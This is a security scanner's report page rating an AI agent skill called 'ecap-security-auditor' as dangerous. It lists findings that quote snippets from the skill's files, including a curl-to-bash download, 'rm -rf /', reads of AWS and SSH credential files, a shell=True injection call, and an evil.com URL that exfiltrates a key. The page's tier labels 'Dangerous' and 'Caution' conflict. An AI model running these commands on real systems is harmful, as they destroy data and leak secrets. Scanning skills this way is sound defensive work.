ClawAudit verdict

ecap-security-auditor

20
🔴 Dangerous
Multiple critical issues — do not install without thorough manual review

Executes processes AND makes external network calls

ecap-security-auditor scores 20/100 (Dangerous). It requires 3 binaries. 1 undeclared capability detected — the skill does more than its permissions suggest. 6 critical pattern matches in code.

0
security
30
transparency
70
maintenance

What it does

These are capability combinations: each listed behavior occurs in the skill, but ClawAudit detects co-occurrence — it does not verify that one flows into another. Read the code to confirm a live chain.

Capability combination high

Executes processes AND makes external network calls — may exfiltrate command output

LLM02 · LLM06 · ASI03

Capability combination high

Accesses credentials AND makes external network calls — potential credential theft

LLM02 · ASI03

Capability combination high

Installs packages AND executes processes — opaque dependency chain with execution

LLM03 · ASI04

Permission integrity

Code accesses API keys/tokens but declares no environment variables

credential_access

Installs packages at runtime — transitive dependencies are not auditable

package_install

Findings (31)

Pattern match critical

Pipe to bash — executes piped content as shell commands

PROMPT-TEST-SUITE.md · code · | bash

Pattern match critical

Uses eval() — can execute arbitrary code

AUDIT-QUALITY-TEST.md · code · eval(

Pattern match critical

Pipe-to-shell pattern (curl | sh) — supply chain attack vector

PROMPT-TEST-SUITE.md · code · curl -s https://config-cdn.example.com/sync.sh | bash

Pattern match critical

Recursive delete from root or home — destructive command

AUDIT-QUALITY-TEST.md · code · rm -rf /

Pattern match critical

Accesses AWS credentials file

AUDIT-QUALITY-TEST.md · code · ~/.aws/credentials

Pattern match critical

Unicode homoglyph detected — uses lookalike characters to evade pattern matching

PROMPT-TEST-SUITE.md · code

Pattern match critical

URL flagged by 7/93 VirusTotal engines: http://evil.com/api/integrity

· code · http://evil.com/api/integrity

Pattern match critical

URL flagged by 7/93 VirusTotal engines: https://evil.com/log?key=$(cat

· code · https://evil.com/log?key=$(cat

Pattern match high

Instructs covert action — may act without user awareness

SKILL.md · code · silently

Pattern match high

Uses exec() — may execute shell commands

SKILL.md · code · exec(

Pattern match high

References child_process — can spawn system processes

SKILL.md · code · child_process

Pattern match high

Accesses .ssh directory

AUDIT-QUALITY-TEST.md · code · .ssh/

Pattern match high

Accesses cloud provider credentials

AUDIT-QUALITY-TEST.md · code · ~/.aws

Pattern match high

Enumerates all environment variables

AUDIT-QUALITY-TEST.md · code · Object.keys(process.env)

Pattern match high

subprocess execution — runs system commands from Python

AUDIT-QUALITY-TEST.md · code · subprocess.run(

Pattern match high

subprocess with shell=True — command injection vector

AUDIT-QUALITY-TEST.md · code · subprocess.run(user_input, shell=True

Pattern match high

Pipe-to-shell pattern (wget | sh)

prompts/audit-prompt-v1-backup.md · prose · downgraded · wget | sh

Pattern match high

Pipe to sh — executes piped content as shell commands

prompts/audit-prompt-v1-backup.md · prose · downgraded · | sh

Pattern match high

Possible hardcoded credential

scripts/upload.sh · prose · downgraded · API_KEY="${ECAP_API_KEY:-}

Pattern match medium

Base64 decode (atob) — may hide malicious payloads

SKILL.md · prose · downgraded · atob(

Pattern match medium

Base64 encoding/decoding

AUDIT-QUALITY-TEST.md · code · Base64-encode

Pattern match medium

Accesses sensitive environment variables

AUDIT-QUALITY-TEST.md · code · process.env.GITHUB_TOKEN

Pattern match medium

Node http/https module — low-level network access

PROMPT-TEST-SUITE.md · code · require('https')

Pattern match medium

Python os.environ.get — reads environment variable

AUDIT-QUALITY-TEST.md · code · os.environ.get(

Pattern match medium

Accesses system credential store

FERRET-SCAN-ANALYSIS.md · prose · downgraded · Keychain

Pattern match medium

References SSH/GPG private keys

FERRET-SCAN-ANALYSIS.md · prose · downgraded · SSH-Key

Pattern match low

String.fromCharCode — can build strings to evade detection

SKILL.md · prose · downgraded · String.fromCharCode

Pattern match low

Popular HTTP library — network access

ADVERSARIAL-TEST.md · prose · downgraded · got

Pattern match low

Python directory traversal

AUDIT-QUALITY-TEST.md · code · os.listdir(

Pattern match low

Sets world-executable permissions

FERRET-ADOPTION-PLAN.md · prose · downgraded · chmod 777

Pattern match low

Makes HTTP request to external URL

PROMPT-TEST-SUITE.md · code · fetch("https://

Why the tier is capped

Execution sink present in raw bytes (Hard Floor: class A/B/C/D/F). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.

Permissions & capabilities

Requires 3 system binaries. (1 elevated: curl).

network_outcredential_accessprocess_execpackage_install
Check another skill Browse the registry Auditing your own skills or configs? Use the API